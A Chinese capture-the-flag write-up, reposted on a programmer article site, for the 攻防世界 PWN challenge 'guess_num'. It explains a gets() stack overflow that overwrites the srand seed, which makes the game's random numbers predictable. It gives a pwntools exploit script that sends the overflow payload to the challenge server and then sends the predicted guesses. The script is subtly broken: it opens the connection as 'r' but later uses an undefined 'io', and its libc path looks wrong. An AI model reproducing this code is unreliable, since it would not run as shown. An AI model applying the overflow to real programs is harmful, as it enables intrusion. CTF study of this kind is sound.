欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

(wp)攻防世界PWN——guess_num

程序员文章站 2022-05-19 10:05:03
...

转载自个人博客0pt1mus

好久没有做PWN题了,今天开始做一下,把之前的东西捡起来,同时对之前有些知识点也有了新的认识,新的理解。

分析

首先将附件下载下来,同时通过nc连接一下,了解一下大致的流程。

(wp)攻防世界PWN——guess_num

可以看到,先让我们输入用户名,然后输入猜的的数字。

然后常规操作,通过filechecksec工具判断文件类型和开启了那些防护措施。

(wp)攻防世界PWN——guess_num

可以知道这是一个64位的linux程序,并且开启了部分只读,栈溢出保护,不可执行和地址随机化。

接着我们通过IDA加载,反汇编一下。

IDA加载程序后,ctrl+F5查看一下伪代码。

(wp)攻防世界PWN——guess_num

我们点击进入sub_C3E(),发现它会调用系统函数,打印flag,因此我们要保证程序能执行到这一步。

因此,在v4v6比较时我们要保证这两个值相同,其中v4是我们的输入值,v6是随机数。我们知道这里的随机数是通过种子seed来形成的,如果seed一定,那么生成的随机数也是一定的。

双击seed[0],可以发现seed是在栈帧中的,上面还有var_30

查看汇编代码。

(wp)攻防世界PWN——guess_num

在代码中可以找到如下信息:

var_30 = byte ptr -30h
seed   = dword ptr -10h

lea     rax, [rbp+var_30]
mov     rdi, rax
mov     eax, 0
call    _gets
mov     rax, qword ptr [rbp+seed]
mov     edi, eax        ; seed
call    _srand

我们输入的name,存在栈帧中,占20h,下面高地址位紧跟着seed的值。因此我们可以溢出覆盖掉seed,将种子设置为已知值,从而控制生成的随机数。

写出exp:

from pwn import *
from ctypes import *

libc = cdll.LoadLibrary('/bin/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
payload = 'A' * 0x20 + p64(1).decode()
r = remote('111.198.29.45', 57255)
r.recvuntil('name:')
r.sendline(payload)
for i in range(10):
    num = str(libc.rand() % 6 + 1)
    io.recvuntil('number:')
    io.sendline(num)

io.interactive()

其中so文件的路径是通过ldd工具找到的。

相关标签: CTF